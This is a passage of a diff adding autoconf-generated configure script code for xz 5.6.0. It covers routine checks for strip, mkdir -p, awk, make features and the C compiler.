printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_STRIP="strip" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 +printf "%s\n" "$ac_ct_STRIP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_STRIP" = x; then + STRIP=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + STRIP=$ac_ct_STRIP + fi +else + STRIP="$ac_cv_prog_STRIP" +fi + +fi +INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a race-free mkdir -p" >&5 +printf %s "checking for a race-free mkdir -p... " >&6; } +if test -z "$MKDIR_P"; then + if test ${ac_cv_path_mkdir+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/opt/sfw/bin +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in mkdir gmkdir; do + for ac_exec_ext in '' $ac_executable_extensions; do + as_fn_executable_p "$as_dir$ac_prog$ac_exec_ext" || continue + case `"$as_dir$ac_prog$ac_exec_ext" --version 2>&1` in #( + 'mkdir ('*'coreutils) '* | \ + *'BusyBox '* | \ + 'mkdir (fileutils) '4.1*) + ac_cv_path_mkdir=$as_dir$ac_prog$ac_exec_ext + break 3;; + esac + done + done + done +IFS=$as_save_IFS + ;; +esac +fi + + test -d ./--version && rmdir ./--version + if test ${ac_cv_path_mkdir+y}; then + MKDIR_P="$ac_cv_path_mkdir -p" + else + # As a last resort, use plain mkdir -p, + # in the hope it doesn't have the bugs of ancient mkdir. + MKDIR_P='mkdir -p' + fi +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MKDIR_P" >&5 +printf "%s\n" "$MKDIR_P" >&6; } + +for ac_prog in gawk mawk nawk awk +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_AWK+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$AWK"; then + ac_cv_prog_AWK="$AWK" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_AWK="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +AWK=$ac_cv_prog_AWK +if test -n "$AWK"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $AWK" >&5 +printf "%s\n" "$AWK" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$AWK" && break +done + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} sets \$(MAKE)" >&5 +printf %s "checking whether ${MAKE-make} sets \$(MAKE)... " >&6; } +set x ${MAKE-make} +ac_make=`printf "%s\n" "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` +if eval test \${ac_cv_prog_make_${ac_make}_set+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat >conftest.make <<\_ACEOF +SHELL = /bin/sh +all: + @echo '@@@%%%=$(MAKE)=@@@%%%' +_ACEOF +# GNU make sometimes prints "make[1]: Entering ...", which would confuse us. +case `${MAKE-make} -f conftest.make 2>/dev/null` in + *@@@%%%=?*=@@@%%%*) + eval ac_cv_prog_make_${ac_make}_set=yes;; + *) + eval ac_cv_prog_make_${ac_make}_set=no;; +esac +rm -f conftest.make ;; +esac +fi +if eval test \$ac_cv_prog_make_${ac_make}_set = yes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } + SET_MAKE= +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + SET_MAKE="MAKE=${MAKE-make}" +fi + +rm -rf .tst 2>/dev/null +mkdir .tst 2>/dev/null +if test -d .tst; then + am__leading_dot=. +else + am__leading_dot=_ +fi +rmdir .tst 2>/dev/null + +# Check whether --enable-silent-rules was given. +if test ${enable_silent_rules+y} +then : + enableval=$enable_silent_rules; +fi + +case $enable_silent_rules in # ((( + yes) AM_DEFAULT_VERBOSITY=0;; + no) AM_DEFAULT_VERBOSITY=1;; + *) AM_DEFAULT_VERBOSITY=1;; +esac +am_make=${MAKE-make} +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $am_make supports nested variables" >&5 +printf %s "checking whether $am_make supports nested variables... " >&6; } +if test ${am_cv_make_support_nested_variables+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if printf "%s\n" 'TRUE=$(BAR$(V)) +BAR0=false +BAR1=true +V=1 +am__doit: + @$(TRUE) +.PHONY: am__doit' | $am_make -f - >/dev/null 2>&1; then + am_cv_make_support_nested_variables=yes +else + am_cv_make_support_nested_variables=no +fi ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_make_support_nested_variables" >&5 +printf "%s\n" "$am_cv_make_support_nested_variables" >&6; } +if test $am_cv_make_support_nested_variables = yes; then + AM_V='$(V)' + AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)' +else + AM_V=$AM_DEFAULT_VERBOSITY + AM_DEFAULT_V=$AM_DEFAULT_VERBOSITY +fi +AM_BACKSLASH='\' + +if test "`cd $srcdir && pwd`" != "`pwd`"; then + # Use -I$(srcdir) only when $(srcdir) != ., so that make's output + # is not polluted with repeated "-I." + am__isrc=' -I$(srcdir)' + # test to see if srcdir already configured + if test -f $srcdir/config.status; then + as_fn_error $? "source directory already configured; run \"make distclean\" there first" "$LINENO" 5 + fi +fi + +# test whether we have cygpath +if test -z "$CYGPATH_W"; then + if (cygpath --version) >/dev/null 2>/dev/null; then + CYGPATH_W='cygpath -w' + else + CYGPATH_W=echo + fi +fi + + +# Define the identity of the package. + PACKAGE='xz' + VERSION='5.6.0' + + +printf "%s\n" "#define PACKAGE \"$PACKAGE\"" >>confdefs.h + + +printf "%s\n" "#define VERSION \"$VERSION\"" >>confdefs.h + +# Some tools Automake needs. + +ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} + + +AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} + + +AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} + + +AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} + + +MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} + +# For better backward compatibility. To be removed once Automake 1.9.x +# dies out for good. For more background, see: +# +# +mkdir_p='$(MKDIR_P)' + +# We need awk for the "check" target (and possibly the TAP driver). The +# system "awk" is bad on some platforms. +# Always define AMTAR for backward compatibility. Yes, it's still used +# in the wild :-( We should find a proper way to deprecate it ... +AMTAR='$${TAR-tar}' + + +# We'll loop over all known methods to create a tar archive until one works. +_am_tools='gnutar pax cpio none' + +am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -' + + + + + +# Variables for tags utilities; see am/tags.am +if test -z "$CTAGS"; then + CTAGS=ctags +fi + +if test -z "$ETAGS"; then + ETAGS=etags +fi + +if test -z "$CSCOPE"; then + CSCOPE=cscope +fi + + + +# POSIX will say in a future version that running "rm -f" with no argument +# is OK; and we want to be able to make that assumption in our Makefile +# recipes. So use an aggressive probe to check that the usage we want is +# actually supported "in the wild" to an acceptable degree. +# See automake bug#10828. +# To make any issue more visible, cause the running configure to be aborted +# by default if the 'rm' program in use doesn't match our expectations; the +# user can still override this though. +if rm -f && rm -fr && rm -rf; then : OK; else + cat >&2 <<'END' +Oops! + +Your 'rm' program seems unable to run without file operands specified +on the command line, even when the '-f' option is present. This is contrary +to the behaviour of most rm programs out there, and not conforming with +the upcoming POSIX standard: + +Please tell bug-automake@gnu.org about your system, including the value +of your $PATH and any error possibly output before this message. This +can help us improve future automake versions. + +END + if test x"$ACCEPT_INFERIOR_RM_PROGRAM" = x"yes"; then + echo 'Configuration will proceed anyway, since you have set the' >&2 + echo 'ACCEPT_INFERIOR_RM_PROGRAM variable to "yes"' >&2 + echo >&2 + else + cat >&2 <<'END' +Aborting the configuration process, to ensure you take notice of the issue. + +You can download and install GNU coreutils to get an 'rm' implementation +that behaves properly: . + +If you want to complete the configuration process using your problematic +'rm' anyway, export the environment variable ACCEPT_INFERIOR_RM_PROGRAM +to "yes", and re-run configure. + +END + as_fn_error $? "Your 'rm' program is bad, sorry." "$LINENO" 5 + fi +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether ln -s works" >&5 +printf %s "checking whether ln -s works... " >&6; } +LN_S=$as_ln_s +if test "$LN_S" = "ln -s"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no, using $LN_S" >&5 +printf "%s\n" "no, using $LN_S" >&6; } +fi + + + + + + + + + + + +DEPDIR="${am__leading_dot}deps" + +ac_config_commands="$ac_config_commands depfiles" + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether ${MAKE-make} supports the include directive" >&5 +printf %s "checking whether ${MAKE-make} supports the include directive... " >&6; } +cat > confinc.mk << 'END' +am__doit: + @echo this is the am__doit target >confinc.out +.PHONY: am__doit +END +am__include="#" +am__quote= +# BSD make does it like this. +echo '.include "confinc.mk" # ignored' > confmf.BSD +# Other make implementations (GNU, Solaris 10, AIX) do it like this. +echo 'include confinc.mk # ignored' > confmf.GNU +_am_result=no +for s in GNU BSD; do + { echo "$as_me:$LINENO: ${MAKE-make} -f confmf.$s && cat confinc.out" >&5 + (${MAKE-make} -f confmf.$s && cat confinc.out) >&5 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + case $?:`cat confinc.out 2>/dev/null` in #( + '0:this is the am__doit target') : + case $s in #( + BSD) : + am__include='.include' am__quote='"' ;; #( + *) : + am__include='include' am__quote='' ;; +esac ;; #( + *) : + ;; +esac + if test "$am__include" != "#"; then + _am_result="yes ($s style)" + break + fi +done +rm -f confinc.* confmf.* +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: ${_am_result}" >&5 +printf "%s\n" "${_am_result}" >&6; } + +# Check whether --enable-dependency-tracking was given. +if test ${enable_dependency_tracking+y} +then : + enableval=$enable_dependency_tracking; +fi + +if test "x$enable_dependency_tracking" != xno; then + am_depcomp="$ac_aux_dir/depcomp" + AMDEPBACKSLASH='\' + am__nodep='_no' +fi + if test "x$enable_dependency_tracking" != xno; then + AMDEP_TRUE= + AMDEP_FALSE='#' +else + AMDEP_TRUE='#' + AMDEP_FALSE= +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="gcc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +printf "%s\n" "$ac_ct_CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + if test "$as_dir$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir$ac_word${1+' '}$@" + fi +fi +fi ;; +esac +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +printf "%s\n" "$ac_ct_CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}clang", so it can be a program name with args. +set dummy ${ac_tool_prefix}clang; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}clang" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "clang", so it can be a program name with args. +set dummy clang; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_CC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="clang" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +printf "%s\n" "$ac_ct_CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +fi + + +test -z "$CC" && { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error $? "no acceptable C compiler found in \$PATH +See 'config.log' for more details" "$LINENO" 5; } + +# Provide some information about the compiler. +printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 +set X $ac_compile +ac_compiler=$2 +for ac_option in --version -v -V -qversion -version; do + { { ac_try="$ac_compiler $ac_option >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compiler $ac_option >&5") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + sed '10a\ +... rest of stderr output deleted ... + 10q' conftest.err >conftest.er1 + cat conftest.er1 >&5 + fi + rm -f conftest.er1 conftest.err + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +done + +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the C compiler works" >&5 +printf %s "checking whether the C compiler works... " >&6; } +ac_link_default=`printf "%s\n" "$ac_link" | sed 's/ -o *conftest[^ ]*//'` + +# The possible output files: +ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" + +ac_rmfiles= +for ac_file in $ac_files +do + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; + * ) ac_rmfiles="$ac_rmfiles $ac_file";; + esac +done +rm -f $ac_rmfiles + +if { { ac_try="$ac_link_default" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_link_default") 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +then : + # Autoconf-2.13 could set the ac_cv_exeext variable to 'no'. +# So ignore a value of 'no', otherwise this would lead to 'EXEEXT = no' +# in a Makefile. We should not override ac_cv_exeext if it was cached, +# so that the user can short-circuit this test for compilers unknown to +# Autoconf. +for ac_file in $ac_files '' +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + if test ${ac_cv_exeext+y} && test "$ac_cv_exeext" != no; + then :; else + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + fi + # We set ac_cv_exeext here because the later test for it is not + # safe: cross compilers may not add the suffix if given an '-o' + # argument, so we may need to know it at that point already. + # Even if this section looks crufty: it has the advantage of + # actually working. + break;; + * ) + break;; + esac +done +test "$ac_cv_exeext" = no && ac_cv_exeext= + +else case e in #( + e) ac_file='' ;; +esac +fi +if test -z "$ac_file" +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in '$ac_pwd':" >&2;} +as_fn_error 77 "C compiler cannot create executables +See 'config.log' for more details" "$LINENO" 5; } +else case e in #( + e) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +printf "%s\n" "yes" >&6; } ;; +esac +fi +{ printf "%s\n" 